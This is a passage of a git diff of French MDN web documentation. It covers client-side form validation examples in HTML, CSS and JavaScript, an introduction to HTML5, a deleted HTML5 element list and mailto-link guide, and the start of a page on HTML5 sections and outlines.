Ce formulaire simple utilise l'attribut {{htmlattrxref("novalidate","form")}} pour désactiver la validation automatique par le navigateur ; cela permet donc à notre script d'avoir le contrôle sur la validation. Toutefois, cela ne désactive la prise en charge par l'API de validation des contraintes, ni l'application des pseudo-classes CSS  {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}} et {{cssxref(":out-of-range")}}. Cela signifie que, même si le navigateur ne vérifie pas automatiquement la validité du formulaire avant l'envoi des données, vous pouvez toujours effectuer cette validation et définir l'apparence du formulaire par vous-même.

- -

L'attribut aria-live garantit que nos messages d'erreur personnalisés seront affichés à tout le monde, y compris les personnes utilisant des techniques d'assistance comme des lecteurs d'écran.

- -
CSS
- -

Ce CSS compose le formulaire et les messages d'erreur pour les rendre plus attrayants.

- -
/* Juste pour que notre exemple soit plus joli */
-body {
-  font: 1em sans-serif;
-  padding: 0;
-  margin : 0;
-}
-
-form {
-  max-width: 200px;
-}
-
-p * {
-  display: block;
-}
-
-input[type=email]{
-  -webkit-appearance: none;
-
-  width: 100%;
-  border: 1px solid #333;
-  margin: 0;
-
-  font-family: inherit;
-  font-size: 90%;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-/* Voici notre composition pour les champs invalides */
-input:invalid{
-  border-color: #900;
-  background-color: #FDD;
-}
-
-input:focus:invalid {
-  outline: none;
-}
-
-/* Voici la mise en forme pour les erreurs */
-.error {
-  width  : 100%;
-  padding: 0;
-
-  font-size: 80%;
-  color: white;
-  background-color: #900;
-  border-radius: 0 0 5px 5px;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-.error.active {
-  padding: 0.3em;
-}
- -
JavaScript
- -

Le code JavaScript suivant gère la validation personnalisée des erreurs.

- -
// Il y a plusieurs façon de sélectionner un nœud DOM ; ici on récupère
-// le formulaire et le champ d'e-mail ainsi que l'élément span
-// dans lequel on placera le message d'erreur
-
-var form  = document.getElementsByTagName('form')[0];
-var email = document.getElementById('mail');
-var error = document.querySelector('.error');
-
-email.addEventListener("input", function (event) {
-  // Chaque fois que l'utilisateur saisit quelque chose
-  // on vérifie la validité du champ e-mail.
-  if (email.validity.valid) {
-    // S'il y a un message d'erreur affiché et que le champ
-    // est valide, on retire l'erreur
-    error.innerHTML = ""; // On réinitialise le contenu
-    error.className = "error"; // On réinitialise l'état visuel du message
-  }
-}, false);
-form.addEventListener("submit", function (event) {
-  // Chaque fois que l'utilisateur tente d'envoyer les données
-  // on vérifie que le champ email est valide.
-  if (!email.validity.valid) {
-
-    // S'il est invalide, on affiche un message d'erreur personnalisé
-    error.innerHTML = "J'attends une adresse e-mail correcte, mon cher !";
-    error.className = "error active";
-    // Et on empêche l'envoi des données du formulaire
-    event.preventDefault();
-  }
-}, false);
- -

Voici le résultat:

- -

{{EmbedLiveSample("Exemple_d'utilisation_de_l'API_de_validation_des_contraintes", "100%", 130)}}

- -

L'API de validation des contraintes fournit un outil puissant pour gérer la validation des formulaires, en vous laissant un contrôle sur l'interface utilisateur bien supérieur à ce que vous auriez pu avoir avec uniquement HTML et CSS. 

- -

Valider des formulaires sans API intégrée

- -

Il arrive parfois, comme c'est le cas avec des navigateurs anciens ou de widgets personnalisés, de ne pas pouvoir (ou vouloir) utiliser l'API de validation des contraintes. Dans ce cas, vous pourrez toujours utiliser JavaScript pour valider votre formulaire. Valider un formulaire est plus une question d'interface utilisateur que de réelle validation des données.

- -

Pour valider un formulaire, vous devez vous poser un certain nombre de questions:

- -
-
Quel type de validation dois-je réaliser ?
-
Vous devez déterminer comment valider vos données : opération sur des chaînes de caractères, conversion de type, expressions rationnelles, etc. C'est comme vous voulez. Mais retenez simplement que les données de formulaire sont toujours du texte et sont toujours fournies à vos scripts sous forme de chaînes de caractères.
-
Que dois-je faire si le formulaire n'est pas valide ?
-
C'est clairement une affaire d'interface utilisateur. Vous devez décider comment le formulaire doit se comporter : enverra-t-il quand même les données ? Devriez-vous mettre en évidence les champs qui sont en erreur ? Devriez-vous afficher des messages d'erreur ?
-
Comment puis-je aider l'utilisateur à corriger ses données invalides?
-
Pour limiter la frustration de l'utilisateur, il est très important de fournir autant d'information d'aide que nécessaire pour le guider dans la correction de sa saisie. Vous devriez afficher des suggestions en amont pour que l'utilisateur sache ce qui est attendu, ainsi que des messages d'erreur clairs. Si vous souhaitez vous plonger dans les exigences d'interface utilsateur pour la validation de formulaires, voici quelques articles (en anglais) utiles que vous devriez lire :
-
- -
-
- -

Exemple qui n'utilise pas l'API de validation des contraintes

- -

Afin d'illustrer le propos, réécrivons le précédent exemple afin qu'il fonctionne avec d'anciens navigateurs:

- -
<form>
-  <p>
-    <label for="mail">
-        <span>Veuillez saisir une adresse e-mail :</span>
-        <input type="text" class="mail" id="mail" name="mail">
-        <span class="error" aria-live="polite"></span>
-    </label>
-  <p>
-  <!-- Certains navigateurs historiques ont besoin de l'attribut
-       `type` avec la valeur `submit` sur l'élément `button` -->
-  <button type="submit">Envoyer</button>
-</form>
- -

Comme vous pouvez voir, le HTML est quasiment identique; nous avons juste enlevé les fonctionnalités de validation HTML. Notez que ARIA est une spécification indépendante qui n'est pas spécifiquement liée à HTML5.

- -
CSS
- -

De même, nous n'avons pas eu à changer radicalement les CSS ; nous avons simplement transformé la pseudo-classe {{cssxref(":invalid")}} en une vraie classe et évité d'utiliser le sélecteur d'attribut, qui ne fonctionne pas avec Internet Explorer 6.

- -
/* On améliore l'aspect de l'exemple avec ces quelques règles */
-body {
-  font: 1em sans-serif;
-  padding: 0;
-  margin : 0;
-}
-
-form {
-  max-width: 200px;
-}
-
-p * {
-  display: block;
-}
-
-input.mail {
-  -webkit-appearance: none;
-
-  width: 100%;
-  border: 1px solid #333;
-  margin: 0;
-
-  font-family: inherit;
-  font-size: 90%;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-/* Voici les règles de mise en forme pour les champs invalides */
-input.invalid{
-  border-color: #900;
-  background-color: #FDD;
-}
-
-input:focus.invalid {
-  outline: none;
-}
-
-/* Voici les règles utilisées pour les messages d'erreur */
-.error {
-  width  : 100%;
-  padding: 0;
-
-  font-size: 80%;
-  color: white;
-  background-color: #900;
-  border-radius: 0 0 5px 5px;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-.error.active {
-  padding: 0.3em;
-}
- -
JavaScript
- -

Les changements les plus importants sont dans le code JavaScript, qui nécessite bien plus que de simples retouches.

- -
// Il existe moins de méthode pour sélectionner un nœud DOM
-// avec les navigateurs historiques
-var form  = document.getElementsByTagName('form')[0];
-var email = document.getElementById('mail');
-
-// Ce qui suit est une bidouille pour atteindre le prochain nœud Element dans le DOM
-// Attention à cette méthode, elle peut permettre de construire une boucle
-// infinie. Pour les navigateurs plus récents, on utilisera element.nextElementSibling
-var error = email;
-while ((error = error.nextSibling).nodeType != 1);
-
-// Pour respecter la spécification HTML5
-var emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
-
-// De nombreux navigateurs historiques ne supportent pas la méthode
-// addEventListener. Voici une méthode simple (il en existe d'autres)
-function addEvent(element, event, callback) {
-  var previousEventCallBack = element["on"+event];
-  element["on"+event] = function (e) {
-    var output = callback(e);
-
-    // Une fonction de rappel (callback) qui renvoie `false`
-    // pour arrêter la chaîne des callback
-    // et interrompre l'exécution du callback d'événement.
-    if (output === false) return false;
-
-    if (typeof previousEventCallBack === 'function') {
-      output = previousEventCallBack(e);
-      if(output === false) return false;
-    }
-  }
-};
-
-// On peut désormais reconstruire notre validation de contrainte
-// Étant donné qu'on n'utilise pas la pseudo-classe CSS, il faut
-// explicitement gérer la classe valid/invalid du champ e-mail
-addEvent(window, "load", function () {
-  // Ici, on teste si le champ est vide (rappel : le champ n'est pas obligatoire)
-  // S'il ne l'est pas, on vérifie que son contenu est une adresse e-mail valide.
-  var test = email.value.length === 0 || emailRegExp.test(email.value);
-
-  email.className = test ? "valid" : "invalid";
-});
-
-// Ici, on définit ce qui se passe lorsque l'utilisateur
-// saisit quelque chose dans le champ
-addEvent(email, "keyup", function () {
-  var test = email.value.length === 0 || emailRegExp.test(email.value);
-  if (test) {
-    email.className = "valid";
-    error.innerHTML = "";
-    error.className = "error";
-  } else {
-    email.className = "invalid";
-  }
-});
-
-// Ici, on définit ce qui se passe lorsque l'utilisateur
-// tente d'envoyer les données du formulaire
-addEvent(form, "submit", function () {
-  var test = email.value.length === 0 || emailRegExp.test(email.value);
-
-  if (!test) {
-    email.className = "invalid";
-    error.innerHTML = "Merci d'écrire une adresse e-mail valide.";
-    error.className = "error active";
-
-    // Certains navigateurs historiques ne supportent pas
-    // la méthode event.reventDefault()
-    return false;
-  } else {
-    email.className = "valid";
-    error.innerHTML = "";
-    error.className = "error";
-  }
-});
- -

Voici le résultat:

- -

{{EmbedLiveSample("Exemple_qui_n'utilise_pas_l'API_de_validation_des_contraintes", "100%", 130)}}

- -

Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un système de validation. La difficulté consiste à rendre le tout assez générique pour l'utiliser à la fois sur toutes les plateformes et pour chaque formulaire que vous pourriez créer. Il existe de nombreuses bibliothèques permettant ce genre de validation de formulaire ; n'hésitez pas à les utiliser. En voici quelques exemples :

- - - -

Validation à distance

- -

Il peut être utile, dans certains cas, d'effectuer une validation à distance. Ce genre de validation est nécessaire lorsque les données saisies par l'utilisateur sont liées à des données supplémentaires stockées sur le serveur hébergeant votre application. Prenons par exemple les formulaires d'inscription, pour lesquels on vous demande un nom d'utilisateur. Pour éviter toute duplication d'un nom d'utilisateur, il est plus judicieux d'effectuer une requête AJAX pour vérifier la disponibilté du nom d'utilisateur que de demander à envoyer les données saisies et de renvoyer le formulaire avec une erreur.

- -

Pour réaliser une telle validation, plusieurs précautions doivent être prises :

- -
    -
  • Il est nécessaire d'exposer une API et des données ; assurez-vous que ces données ne soient pas critiques.
    • -
  • Un décalage (lag) du réseau nécessite une validtion asynchrone. L'interface utilisateur doit être conçue de façon à pas être bloquée si cette validation n'est pas réalisée correctement.
    • -
- -

Conclusion

- -

La validation d'un formulaire ne requiert pas de code JavaScript complexe, mais il est nécessaire de penser tout particulièrement à l'utilisateur. Rappelez-vous de toujours aider l'utilisateur à corriger les données qu'il saisit. Pour ce faire, assurez-vous de toujours :

- -
    -
  • Afficher des messages d'erreur explicites.
    • -
  • Être tolérant sur le format des données à envoyer.
    • -
  • Indiquer exactement où est l'erreur (en particulier pour les formulaires longs).
    • -
- -

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/html5/introduction_to_html5/index.html b/files/fr/web/guide/html/html5/introduction_to_html5/index.html new file mode 100644 index 0000000000..51eaf4850e --- /dev/null +++ b/files/fr/web/guide/html/html5/introduction_to_html5/index.html @@ -0,0 +1,40 @@ +--- +title: Introduction à HTML5 +slug: Web/HTML/Introduction_to_HTML5 +tags: + - HTML + - HTML5 +translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5 +--- +

HTML5 est la nouvelle version du standard HTML. Il apporte non seulement l'utilisation de média riches (vidéo, audio, SVG, etc.) mais aussi des fonctionnalités permettant le développement d'applications web bien plus attractives et interactives.

+ +

Étant donné que HTML5 est encore en cours d'évolution, certains navigateurs ne supportent pas encore toutes les fonctionnalités offertes par ce nouveau standard. Ceci dit Gecko (et donc Firefox) supporte déjà dans sa version 1.8.1 une majorité des possibilités de HTML5. Vous trouverez ce que Gecko supporte déjà en visitant cette page : HTML5. Pour obtenir davantage d'informations sur le support de HTML5 par de multiples navigateurs, jetez un coup d'œil sur le site CanIUse .

+ +

Indiquer que le document contient du HTML5 grâce au doctype HTML5

+ +

La doctype HTML5 est très simple, il s'agit simplement de ceci :

+ +
<!DOCTYPE html>
+
+ +

Cela permet au navigateur ne supportant pas encore le HTML5 de passer en mode standard et ainsi d'ignorer les balises inconnues.

+ +

Il est beaucoup plus simple que les précédents doctypes, et plus court. Il est ainsi plus facile à retenir et réduit le nombre d'octets devant être téléchargés.

+ +

Déclarer l'encodage de caractères avec <meta charset>

+ +

La première chose que l'on fait d'habitude sur une page web c'est déclarer l'encodage de caractère utilisé. Dans les versions précédentes de HTML, ceci était fait en utilisant le très complexe élément {{HTMLElement("meta")}}. Avec HTML5, c'est beaucoup plus simple :

+ +
<meta charset="UTF-8">
+ +

Placez ceci au tout début de votre élément {{HTMLElement("head") }}, car certains navigateurs recommencent leur interprétation des documents HTML, si l'encodage de caractère déclaré est différent de ce qu'ils avaient anticipé. De plus, il est recommandé d'utiliser UTF-8, car il simplifie la gestion des caractères dans les documents utilisant plusieurs graphies.

+ +

Notez que HTML5 limite les encodages autorisés à ceux qui sont compatibles avec ASCII et utilisant au moins 8 bits. Ceci pour améliorer la sécurité et éviter certains types d'attaques.

+ +

Utiliser le nouveau parser HTML5

+ +

Les nouvelles règles d'analyse du HTML5, celles qui s'occupent de la sémantique du code, ont été renforcées. Jusqu'à l'arrivée du HTML5, seules les règles pour un code valide avaient été définies. À la moindre erreur dans le code (la plupart des sites Web en comportent au moins une), le comportement à adopter était laissé à la libre interprétation des navigateurs, qui ne choisissaient pas toujours le même. Maintenant, lorsque des erreurs sont rencontrées dans le code, tous les navigateurs implémentant HTML5 doivent se comporter de la même façon.

+ +

Cette obligation aide les développeurs Web. Bien que tous les nouveaux navigateurs utilisent maintenant les règles d'analyse d'HTML5, des navigateurs ne respectant pas HTML5 sont encore utilisés. Il est toujours fortement recommandé d'écrire un code valide, car il est plus facile à lire et à maintenir, et diminue les risques d'incompatibilité avec les vieux navigateurs.

+ +

Ne vous inquiétez pas, vous n'avez rien à changer sur votre site Web, les développeurs des navigateurs ont déjà fait le nécessaire !

diff --git "a/files/fr/web/guide/html/html5/liste_des_\303\251l\303\251ments_html5/index.html" "b/files/fr/web/guide/html/html5/liste_des_\303\251l\303\251ments_html5/index.html" deleted file mode 100644 index 42f2df0c51..0000000000 --- "a/files/fr/web/guide/html/html5/liste_des_\303\251l\303\251ments_html5/index.html" +++ /dev/null @@ -1,580 +0,0 @@ ---- -title: Liste des éléments HTML5 -slug: Web/Guide/HTML/HTML5/Liste_des_éléments_HTML5 -tags: - - Débutant - - Guide - - HTML - - HTML5 - - Web -translation_of: Web/HTML/Element -translation_of_original: Web/Guide/HTML/HTML5/HTML5_element_list ---- -

Cette Page n'est pas encore complète.

- -

Travail progressif basé sur document de travail en court à http://www.whatwg.org/specs/web-apps/current-work/multipage/.

- -

Élément racine

- -

Les éléments racines définissent la structure d'un document HTML. Ils sont présents dans chacune des pages web et se situent à la suite de la déclaration doctype à la première ligne du document HTML. Les éléments de page sont placés à l'intérieur des balises ouvrante <html> et fermante </html>.

- - - - - - - - - - - - - - -
BaliseDescription
{{ HTMLElement("html") }}L'élément HTML racine (<html>) représente la racine du document HTML. Tout autre élément est un descendant de cet élément racine.
- -

Métadonnées du document

- -

Les méta-données contiennent les informations liées à la page telles que les styles de présentation et les scripts. Les méta-données de style et de scripts peuvent être définies au sein de la page web ou via un lien pointant vers un fichier.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BaliseDescription
{{ HTMLElement("head") }} 
{{ HTMLElement("title") }} 
{{ HTMLElement("base") }} 
{{ HTMLElement("link") }} 
{{ HTMLElement("meta") }} 
{{ HTMLElement("style") }} 
- -

Gestion des scripts

- - - - - - - - - - - - - - - - - - -
BaliseDescription
{{ HTMLElement("script") }} 
{{ HTMLElement("noscript") }} 
- -

Sections

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BaliseDescription
{{ HTMLElement("body") }} 
{{ HTMLElement("section") }} 
{{ HTMLElement("nav") }} 
{{ HTMLElement("article") }} 
{{ HTMLElement("aside") }} 
<h1>,<h2>,<h3>,<h4>,<h5>,<h6> 
{{ HTMLElement("hgroup") }} 
{{ HTMLElement("header") }} 
{{ HTMLElement("footer") }} 
{{ HTMLElement("address") }} 
- -

Contenu de type bloc

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BaliseDescription
{{ HTMLElement("p") }} 
{{ HTMLElement("hr") }} 
{{ HTMLElement("pre") }} 
{{ HTMLElement("blockquote") }} 
{{ HTMLElement("ol") }} 
{{ HTMLElement("ul") }} 
{{ HTMLElement("li") }} 
{{ HTMLElement("dl") }} 
{{ HTMLElement("dt") }} 
{{ HTMLElement("dd") }} 
{{ HTMLElement("figure") }} 
{{ HTMLElement("figcaption") }} 
{{ HTMLElement("div") }} 
- -

Les sémantiques à un niveau textuel

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BaliseDescription
{{ HTMLElement("a") }} 
{{ HTMLElement("em") }} 
{{ HTMLElement("strong") }} 
{{ HTMLElement("small") }} 
{{ HTMLElement("s") }} 
{{ HTMLElement("cite") }} 
{{ HTMLElement("q") }} 
{{ HTMLElement("dfn") }} 
{{ HTMLElement("abbr") }} 
{{ HTMLElement("data") }} 
{{ HTMLElement("time") }} 
{{ HTMLElement("code") }} 
{{ HTMLElement("var") }} 
{{ HTMLElement("samp") }} 
{{ HTMLElement("kbd") }} 
{{ HTMLElement("sub") }},{{ HTMLElement("sup") }} 
{{ HTMLElement("i") }} 
{{ HTMLElement("b") }} 
{{ HTMLElement("u") }} 
{{ HTMLElement("mark") }} 
{{ HTMLElement("ruby") }} 
{{ HTMLElement("rt") }} 
{{ HTMLElement("rp") }} 
{{ HTMLElement("bdi") }} 
{{ HTMLElement("bdo") }} 
{{ HTMLElement("span") }} 
{{ HTMLElement("br") }} 
{{ HTMLElement("wbr") }} 
- -

Les éléments d'édition

- - - - - - - - - - - - - - - - - - -
Balise 
{{ HTMLElement("ins") }} 
{{ HTMLElement("del") }} 
- -

Le contenu inclus

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Balise 
{{ HTMLElement("img") }} 
{{ HTMLElement("iframe") }} 
{{ HTMLElement("object") }} 
{{ HTMLElement("param") }} 
{{ HTMLElement("video") }} 
{{ HTMLElement("audio") }} 
{{ HTMLElement("source") }} 
{{ HTMLElement("track") }} 
{{ HTMLElement("canvas") }} 
{{ HTMLElement("map") }} 
{{ HTMLElement("area") }} 
{{ HTMLElement("svg") }} 
{{ HTMLElement("math") }} 
- -

Les données tabulaire

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Balise 
{{ HTMLElement("table") }} 
{{ HTMLElement("caption") }} 
{{ HTMLElement("colgroup") }} 
{{ HTMLElement("col") }} 
{{ HTMLElement("tbody") }} 
{{ HTMLElement("thead") }} 
{{ HTMLElement("tfoot") }} 
{{ HTMLElement("tr") }} 
{{ HTMLElement("td") }} 
{{ HTMLElement("th") }} 
- -

Les formulaires

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Balise 
{{ HTMLElement("form") }} 
{{ HTMLElement("fieldset") }} 
{{ HTMLElement("legend") }} 
{{ HTMLElement("label") }} 
{{ HTMLElement("input") }} 
{{ HTMLElement("button") }} 
{{ HTMLElement("select") }} 
{{ HTMLElement("datalist") }} 
{{ HTMLElement("optgroup") }} 
{{ HTMLElement("option") }} 
{{ HTMLElement("textarea") }} 
{{ HTMLElement("keygen") }} 
{{ HTMLElement("output") }} 
{{ HTMLElement("progress") }} 
{{ HTMLElement("meter") }} 
- -

Les éléments pour l'interactivité

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Balise 
{{ HTMLElement("details") }} 
{{ HTMLElement("summary") }} 
{{ HTMLElement("command") }} 
{{ HTMLElement("menu") }} 
- -

 

diff --git a/files/fr/web/guide/html/liens_email/index.html b/files/fr/web/guide/html/liens_email/index.html deleted file mode 100644 index 77e52eafb4..0000000000 --- a/files/fr/web/guide/html/liens_email/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Liens email -slug: Web/Guide/HTML/Liens_email -tags: - - Beginner - - Exemple - - Guide - - HTML - - Web -translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links -translation_of_original: Web/Guide/HTML/Email_links ---- -

Il est parfois utile de créer des liens ou des boutons qui nous permettent d'écrire un nouvel e-mail. Par exemple, on peut les utiliser pour créer un bouton « contactez-nous ». Ceci est possible grâce à l'élement HTML {{HTMLElement("a")}} et au format d'URL mailto.

- -

Bases de mailto

- -

Dans sa forme la plus basique et la plus utilisée, un lien mailto indique simplement l'adresse e-mail du destinataire. Par exemple :

- -
<a href="mailto:nullepart@mozilla.org">Envoyer l'email nulle part</a>
- -

Le résultat s'affiche comme ceci : Envoyer l'email nulle part.

- -

En réalité, l'adresse e-mail est optionelle. Si on ne l'ajoute pas (le {{htmlattrxref("href", "a")}} contiendra simplement « mailto: »), une nouvelle fenêtre du client de messagerie de l'utilisateur s'ouvrira, sans destinataire spécifié. Cela peut être utile dans le cas d'un bouton « Partager » où l'utilisateur sélectionnera les personnes auxquelles il veut envoyer un e-mail.

- -

Précisions

- -

En plus de l'adresse e-mail, on peut fournir d'autres informations. En effet, n'importe quel champ d'en-tête d'un e-mail standard peut être ajoutée à l'URL mailto. Les plus communément utilisés sont « subject », « cc » et « body » (qui n'est pas réellement un champ d'entête mais qui permet de spécifier un message court pour le nouvel email). Chaque champ et sa valeur sont indiqués comme un terme de requête.

- -
-

Note : Les valeurs de chaque champ doivent être codées au format URL.

-
- -

Échantillons d'URL mailto

- -

Voici quelques échantillons d'URL mailto:

- - - -

Notez l'utilisation de l'esperluette (&) pour séparer les champs de l'URL mailto. C'est le format standard d'écriture des URL.

- -

Exemple

- -

Si vous voulez créer un lien qui permettrait de s'inscrire à une newsletter, vous pouvez utiliser un lien mailto comme ceci :

- -
<a href="mailto:nullepart@mozilla.org?subject=Demande%20inscription%20newsletter&body=Inscrivez-moi%20%C3%A0%20votre%20newsletter%20%21%0D%0A%0D%0ANom%20complet%20%3A%0D%0A%0D%0AO%C3%B9%20avez-vous%20entendu%20parler%20de%20nous%20%3F">
-Inscrivez-vous à notre newsletter
-</a>
- -

Le résultat s'affiche comme ceci : Inscrivez-vous à notre newsletter.

- - diff --git a/files/fr/web/guide/html/using_html_sections_and_outlines/index.html b/files/fr/web/guide/html/using_html_sections_and_outlines/index.html new file mode 100644 index 0000000000..319d98e927 --- /dev/null +++ b/files/fr/web/guide/html/using_html_sections_and_outlines/index.html @@ -0,0 +1,375 @@ +--- +title: Structures et sections d'un document HTML5 +slug: Web/HTML/Sections_and_Outlines_of_an_HTML5_document +tags: + - Avancé + - Exemple + - Guide + - HTML + - HTML5 + - Section + - Structure + - Web +translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines +--- +

Cette page présente la manière dont les navigateurs définissent la structure d'un document à partir de son fichier HTML.

+ +

Structure et document outline

+ +

Le terme anglais "document outline" ou "document outlines" désigne la structure d'un document générée à partir de ses titres. Cette structure permet de fournir aux usagers une vision simplifiée du document, tel un sommaire ou une table des matières.

+ +

Les technologies d'assistances telles que les lecteurs d'écran peuvent proposer à leurs usagers de parcourir le document par ce moyen. Cela leur permet d'avoir rapidement une idée du contenu de la page ou d'aller directement à la section qui les intéresse.

+ +

Depuis HTML4, cette structure est générée à partir de la valeur absolue des différents titres. Un <h2> sera considéré comme un niveau hiérarchique plus bas qu'un <h1> et un niveau plus haut qu'un <h3>.

+ +

L'algorithme Outline HTML5, proposait quand à lui de générer cette même structure non pas à partir des titres, mais à partir de l'imbrication des <section> entre elles. Cet algorithme n'est à l'heure actuelle implémenté par aucun navigateur ou technologie d'assistance. La partie du document le concernant est donc purement indicative.

+ +

Structure d'un document depuis HTML4

+ +

La structure d'un document, à savoir la structure sémantique de ce qui est entre <body> et </body>, est fondamentale pour la présentation de la page à l'utilisateur. HTML4 utilise la notion de sections et sous-sections d'un document pour décrire sa structure. Une section est définie par un élément de division HTML ({{HTMLElement ("div")}}) contenant des éléments de titre ({{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, {{ HTMLElement ("h3")}}, {{HTMLElement ("h4")}}, {{HTMLElement ("h5")}} ou {{HTMLElement ("h6")}}), définissant son titre. Les relations entre ces éléments HTML et la division HTML conduit à la structure du document et son schéma.

+ +

Ainsi, le code suivant :

+ +

+<div class="section" id="foret-elephants">
+  <h1>Les éléphants de forêt</h1>
+  <p>Dans cet article, nous discutons des éléphants de forêt moins connus.
+     … cette section continue…
+  <div class="subsection" id="foret-habitat">
+    <h2>Habitat</h2>
+    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
+       … ce paragraphe continue…
+  </div>
+</div>
+ +

conduit au schéma suivant :

+ +
1. Les éléphants de forêt
+  1.1 Habitat
+
+ +

Les éléments {{HTMLElement ("div")}} ne sont pas obligatoires pour définir une nouvelle section. La simple présence d'un élément de titre est suffisante pour impliquer une nouvelle section. Par conséquent :

+ +
<h1>Les éléphants de forêt</h1>
+  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
+    … cette section continue…
+
+  <h2>Habitat</h2>
+  <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
+    … ce paragraphe continue…
+
+  <h2>Régime</h2>
+
+<h1>Gerbilles de Mongolie</h1>
+
+ +

conduit au schéma suivant :

+ +
1. Les éléphants de forêt
+  1.1 Habitat
+  1.2 Régime
+2. Gerbilles de Mongolie
+ +

Problèmes résolus par HTML5

+ +

Le code HTML4 définit la structure d'un document, cependant son algorithme schématique implicite est très strict et conduit à de nombreux problèmes :

+ +
    +
  1. L'utilisation de {{HTMLElement ("div")}} pour définir les sections sémantiques, sans définir de valeurs spécifiques pour l'attribut class, rend impossible l'automatisation de l'algorithme (« {{HTMLElement ("div")}} fait-il partie de l'aperçu de la page ? Définit-il une section ou un paragraphe ? » ou « Ce {{HTMLElement ("div")}} est-il là uniquement pour le style ? »). En d'autres termes, la spécification HTML4 est très imprécise sur ce qui est une section et quel est son champ d'application. La génération automatique du schéma est importante, surtout pour les technologies d'assistance (en) qui sont susceptibles d'adapter leur façon de présenter l'information aux utilisateurs en fonction de la structure du document. HTML5 supprime la nécessité d'éléments {{HTMLElement ("div")}} dans l'algorithme par l'introduction d'un nouvel élément, {{HTMLElement ("section")}}, l'élément HTML Section.
    2. +
  2. La fusion de plusieurs documents est compliquée : l'inclusion d'un sous-document dans un document principal conduit à modifier le niveau des éléments de titres HTML afin de conserver le plan du document. Ce problème est résolu dans HTML5, les éléments de section nouvellement introduits ({{HTMLElement ("article")}}, {{HTMLElement ("section")}}, {{HTMLElement ("nav")}} et {{HTMLElement ("aside")}}) sont toujours sous-sections de la plus proche section ascendante, indépendamment des sections créées par les en-têtes internes.
    3. +
  3. En HTML4, chaque section fait partie de la structure du document. Mais les documents ne sont pas souvent linéaires. Un document peut avoir des sections spéciales contenant des informations qui n'en font pas partie, même si elles sont liées au flux principal, comme un bloc de publicité ou une boîte explication. HTML5 introduit l'élément {{HTMLElement ("aside")}} permettant à ces sections de ne pas faire partie du plan principal.
    4. +
  4. Encore une fois, en HTML4, parce que chaque section fait partie de la structure du document, il n'est pas possible d'avoir des sections contenant des informations relatives non pas au document mais au site tout entier, comme des logos, des menus, une table des matières, ou des mentions légales. À cet effet, HTML5 introduit trois éléments de section spécifiques : {{HTMLElement ("nav")}} pour des collections de liens, comme une table des matières, {{HTMLElement ("footer")}} et {{HTMLElement ("header")}} pour les informations relatives au site.
    5. +
+ +

Plus généralement HTML5 apporte la précision des caractéristiques de sectionnement et de position, permettant aux contours de documents à être prévisibles et utilisés par le navigateur afin d'améliorer l'expérience utilisateur.

+ +

L'algorithme Outline HTML5

+ +
+

Important : Aucune implémentation de cet algorithme Outline HTML5 n'existe ni dans les navigateurs web ni dans les technologies d'assistance. Elle n'a jamais fait partie de la spécification finale W3C. L'algorithme Outline ne devrait donc pas être utilisé pour transmettre la structure d'un document aux utilisateurs. Il est recommandé aux auteurs d'utiliser le rang des titres (h1-h6) pour transmettre la structure d'un document.

+
+ +

Cet algorithme propose de générer la structure du document à partir de l'imbrication des sections entre elles.

+ +

Définir des sections en HTML5

+ +

Tout le contenu se trouvant à l'intérieur de l'élément {{HTMLElement ("body")}} est une partie d'une section. Les articles en HTML5 peuvent être imbriqués. À côté de la section principale, définie par l'élément {{HTMLElement ("body")}}, les limites de la section sont définies explicitement ou implicitement. Sections explicitement définies sont le contenu dans {{HTMLElement ("body")}}, {{HTMLElement ("section")}}, {{HTMLElement ("article")}}, {{HTMLElement ("aside")}}, {{HTMLElement ("footer")}}, {{HTMLElement ("header")}} et {{HTMLElement ("nav")}} balises.

+ +
+

Remarque : Chaque section peut avoir sa propre hiérarchie rubrique. Par conséquent, même une section imbriquée peut avoir un {{HTMLElement ("h1")}}. Voir Définition des sections en HTML5

+
+ +

Prenons un exemple - ici nous avons un document avec une section de haut niveau et un pied de page défini. Dans la section de haut niveau, nous avons trois sous-sections, définies par deux éléments {{htmlelement ('section')}} et un élément {{htmlelement ('aside')}} :

+ +
<section>
+
+  <h1>éléphants de forêt</h1>
+
+  <section>
+    <h1>Introduction</h1>
+    <p>Dans cette section, nous discutons des éléphants de forêt moins connus.</p>
+  </section>
+
+  <section>
+    <h1>Habitat</h1>
